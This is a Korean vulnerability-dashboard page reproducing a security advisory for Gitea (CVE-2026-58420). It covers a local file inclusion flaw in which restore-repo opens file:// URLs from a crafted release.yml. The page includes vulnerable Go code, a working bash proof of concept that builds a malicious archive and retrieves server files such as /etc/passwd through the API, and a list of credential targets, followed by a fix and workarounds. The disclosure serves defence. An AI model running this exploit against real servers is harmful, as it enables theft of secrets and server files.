Kestrel
대시보드로 돌아가기
CVE-2026-58420MEDIUMGHSA대응게시일: 2026. 07. 21.수정일: 2026. 07. 21.

Gitea: Local File Inclusion via file:// URI in Migration Restore

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
medium

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

CVSS 벡터 정보 없음

상세 설명

Local File Inclusion via file:// URI in Migration Restore

Target: go-gitea/gitea
Component: services/migrations/gitea_uploader.go, modules/uri/uri.go
Severity: High
Affected Versions: <= v1.22.x (all releases), master as of latest commit
Researchers:


Summary

Gitea's restore-repo command processes release.yml files from a user-supplied archive. The DownloadURL field in each release attachment is passed to uri.Open() without scheme validation. Because uri.Open() supports the file:// scheme via os.Open(), an operator-level attacker can plant a crafted release.yml to exfiltrate arbitrary files from the server filesystem as release attachments.


Impact

An attacker who can supply a crafted archive to the restore-repo command can read any file accessible to the Gitea process user on the host filesystem. Sensitive targets include:

  • app.ini — containing database passwords and secret keys
  • SSH private keys (~/.ssh/id_rsa, /etc/ssh/ssh_host_*)
  • TLS certificates and private keys
  • Cloud provider credential files (e.g. ~/.aws/credentials)
  • Any other file readable by the Gitea process user

The exfiltrated content is silently stored as a release attachment and retrievable via the Gitea API.


Affected Code

modules/uri/uri.go

text
1func Open(rawURL string) (io.ReadCloser, error) {
2 u, err := url.Parse(rawURL)
3 if err != nil {
4 return nil, err
5 }
6 switch u.Scheme {
7 case "http", "https":
8 resp, err := http.Get(rawURL)
9 ...
10 case "file":
11 return os.Open(u.Path) // no scheme validation, no path restriction
12 }
13}

services/migrations/gitea_uploader.go (~line 370)

text
1func (g *GiteaLocalUploader) CreateReleases(releases ...*base.Release) error {
2 for _, rel := range releases {
3 for _, asset := range rel.Assets {
4 rc, err := uri.Open(asset.DownloadURL) // user-controlled, unvalidated
5 ...
6 // file content saved as release attachment
7 }
8 }
9}

Attack Scenario

An attacker with admin or operator access (or the ability to supply a crafted archive to an admin who runs restore-repo) can:

  1. Create a malicious archive containing release.yml:
text
1releases:
2 - tag_name: v0.0.1
3 assets:
4 - name: exfiltrated.txt
5 download_url: "file:///etc/passwd"
  1. Run restore:
text
1gitea restore-repo --zip-path ./malicious.zip --owner target-org --repo test-repo
  1. The server reads /etc/passwd and stores it as a release attachment named exfiltrated.txt.

  2. Retrieve via API:

bash
1curl -s "http://gitea.example.com/api/v1/repos/target-org/test-repo/releases/latest/assets" \
2 -H "Authorization: token ADMIN_TOKEN" | jq -r '.[].browser_download_url'

PoC

Note: restore-repo must be executed on the host running the Gitea instance, or by an operator with direct server access.

bash
1#!/usr/bin/env bash
2# PoC: Gitea LFI via release.yml DownloadURL
3# Requires: admin credentials, gitea binary on PATH (server host)
4
5GITEA_URL="${1:-http://localhost:3000}"
6ADMIN_TOKEN="${2:-REPLACE_ME}"
7TARGET_FILE="${3:-/etc/passwd}"
8OWNER="test-org"
9REPO="lfi-test"

1. Create target org and repo via API

bash
1curl -sf -X POST "$GITEA_URL/api/v1/orgs" \
2 -H "Authorization: token $ADMIN_TOKEN" \
3 -H "Content-Type: application/json" \
4 -d "{\"username\":\"$OWNER\",\"visibility\":\"private\"}" || true
5
6curl -sf -X POST "$GITEA_URL/api/v1/user/repos" \
7 -H "Authorization: token $ADMIN_TOKEN" \
8 -H "Content-Type: application/json" \
9 -d "{\"name\":\"$REPO\",\"private\":true,\"auto_init\":true}" || true

2. Build malicious archive

bash
1TMP=$(mktemp -d)
2mkdir -p "$TMP/bundles/$OWNER/$REPO"
3
4cat > "$TMP/bundles/$OWNER/$REPO/release.yml" <<YAML
5releases:
6 - tag_name: v0.0.1
7 name: test
8 body: ""
9 draft: false
10 prerelease: false
11 assets:
12 - name: output.txt
13 download_url: "file://$TARGET_FILE"
14 size: 0
15 download_count: 0
16YAML
17
18cd "$TMP" && zip -r poc.zip bundles/

3. Trigger restore

bash
1gitea restore-repo \
2 --zip-path "$TMP/poc.zip" \
3 --owner "$OWNER" \
4 --repo "$REPO" \
5 --units release 2>&1

4. Retrieve exfiltrated content

bash
1echo "[*] Fetching exfiltrated content..."
2RELEASE_ID=$(curl -sf "$GITEA_URL/api/v1/repos/$OWNER/$REPO/releases?limit=1" \
3 -H "Authorization: token $ADMIN_TOKEN" | jq -r '.[0].id')
4
5curl -sf "$GITEA_URL/api/v1/repos/$OWNER/$REPO/releases/$RELEASE_ID/assets" \
6 -H "Authorization: token $ADMIN_TOKEN" | jq -r '.[0].browser_download_url' | \
7 xargs -I{} curl -sf "{}" -H "Authorization: token $ADMIN_TOKEN"
8
9rm -rf "$TMP"

Root Cause

uri.Open() was designed as an internal utility to support both remote (http/https) and local (file://) resources during migrations. This dual-scheme design is intentional for same-host migration workflows. However, the function is also invoked in gitea_uploader.go on the DownloadURL field sourced directly from user-supplied archive content, with no validation that the scheme is restricted to http or https. The absence of any allowlist or scheme check at the call site creates a direct, exploitable path from attacker-controlled input to arbitrary server-side file reads.


Fix Recommendation

In services/migrations/gitea_uploader.go, validate asset.DownloadURL before calling uri.Open():

text
1parsed, err := url.Parse(asset.DownloadURL)
2if err != nil || (parsed.Scheme != "http" && parsed.Scheme != "https") {
3 log.Warn("Skipping release asset with non-HTTP URL: %s", asset.DownloadURL)
4 continue
5}
6rc, err := uri.Open(asset.DownloadURL)
7Alternatively, replace calls to uri.Open() in the migration path with a dedicated HTTP-only fetcher to eliminate the file:// code path entirely from user-controlled contexts.

Workaround

Until a patch is available, operators should:

  • Restrict restore-repo execution to fully trusted operators only
  • Audit all archive contents manually before running restoration
  • Review existing release attachments for unexpected or sensitive filenames

Isa Can
Security Researcher — Eresus Security
https://github.com/isa0-gh

Yigit Ibrahim
Security Researcher — Eresus Security
https://github.com/ibrahmsql

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.